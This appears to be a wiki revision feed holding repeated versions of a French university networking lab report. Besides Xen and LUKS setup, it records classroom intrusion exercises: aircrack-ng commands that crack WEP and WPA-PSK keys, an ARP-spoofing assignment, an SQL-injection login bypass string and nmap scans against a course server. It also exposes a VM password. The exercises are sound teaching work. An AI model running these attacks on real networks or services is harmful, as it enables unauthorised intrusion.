  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet de scanner le réseau, et donc d'obtenir un handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit : &lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un nmap :&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A partir de ces informations, on réalise plusieurs attaques et exploitations de failles, mauvaise configuration, mot de passe faible, etc.&lt;br /&gt;
Au final, nous avons réussi à trouver le mot de passe root du serveur. Nous y laissons la trace de notre passage &amp;quot;I was here IMA5 G8&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=52826</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=52826"/>
				<updated>2020-10-17T10:03:32Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 5.3  Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation des systèmes d’exploitation=&lt;br /&gt;
==2.1 Installation dans la machine virtuelle Xen==&lt;br /&gt;
&lt;br /&gt;
SSH sur capbreton&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquetage aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser le paquetage aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles ( airmon-ng), puis on passe l'interface en mode monitor ( airmon-ng start wlp1s0mon ).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen6.png]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit : &lt;br /&gt;
 &amp;quot; or 1=1 --'&lt;br /&gt;
&lt;br /&gt;
On accède aux utilisateurs et aux mots de passes : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un nmap :&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021_1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que le serveur utilise 2 services : HTTP et SSH, et qu'il y une autre adresse (IPv6) pour honey.plil.info. On réalise un nmap sur cette adresse IPv6 :  &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021_2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et après on essaye de se connecter en SSH ?&lt;br /&gt;
&lt;br /&gt;
''Astuce : &amp;quot;Pensez à des méthodes d’injection, d’exploration du système de fichiers, d’exploitation d’autres application Web sur la même machine, ... La seule indication est que le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets. &amp;quot;''&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=52825</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=52825"/>
				<updated>2020-10-17T10:01:40Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 5.3  Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation des systèmes d’exploitation=&lt;br /&gt;
==2.1 Installation dans la machine virtuelle Xen==&lt;br /&gt;
&lt;br /&gt;
SSH sur capbreton&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquetage aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser le paquetage aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles ( airmon-ng), puis on passe l'interface en mode monitor ( airmon-ng start wlp1s0mon ).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 &amp;gt;&amp;gt; airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen6.png]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Injection SQL sur honey.plil.info, dans le '''login et le password''', on écrit : &lt;br /&gt;
 &amp;quot; or 1=1 --'&lt;br /&gt;
&lt;br /&gt;
On accède aux utilisateurs et aux mots de passes : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un nmap :&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021_1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que le serveur utilise 2 services : HTTP et SSH, et qu'il y une autre adresse (IPv6) pour honey.plil.info. On réalise un nmap sur cette adresse IPv6 :  &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021_2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et après on essaye de se connecter en SSH ?&lt;br /&gt;
&lt;br /&gt;
''Astuce : &amp;quot;Pensez à des méthodes d’injection, d’exploration du système de fichiers, d’exploitation d’autres application Web sur la même machine, ... La seule indication est que le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets. &amp;quot;''&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screen6.png&amp;diff=52824</id>
		<title>Fichier:Screen6.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screen6.png&amp;diff=52824"/>
				<updated>2020-10-17T10:00:38Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=52823</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=52823"/>
				<updated>2020-10-17T09:58:58Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 5.3  Cassage de mot de passe WPA-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation des systèmes d’exploitation=&lt;br /&gt;
==2.1 Installation dans la machine virtuelle Xen==&lt;br /&gt;
&lt;br /&gt;
SSH sur capbreton&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
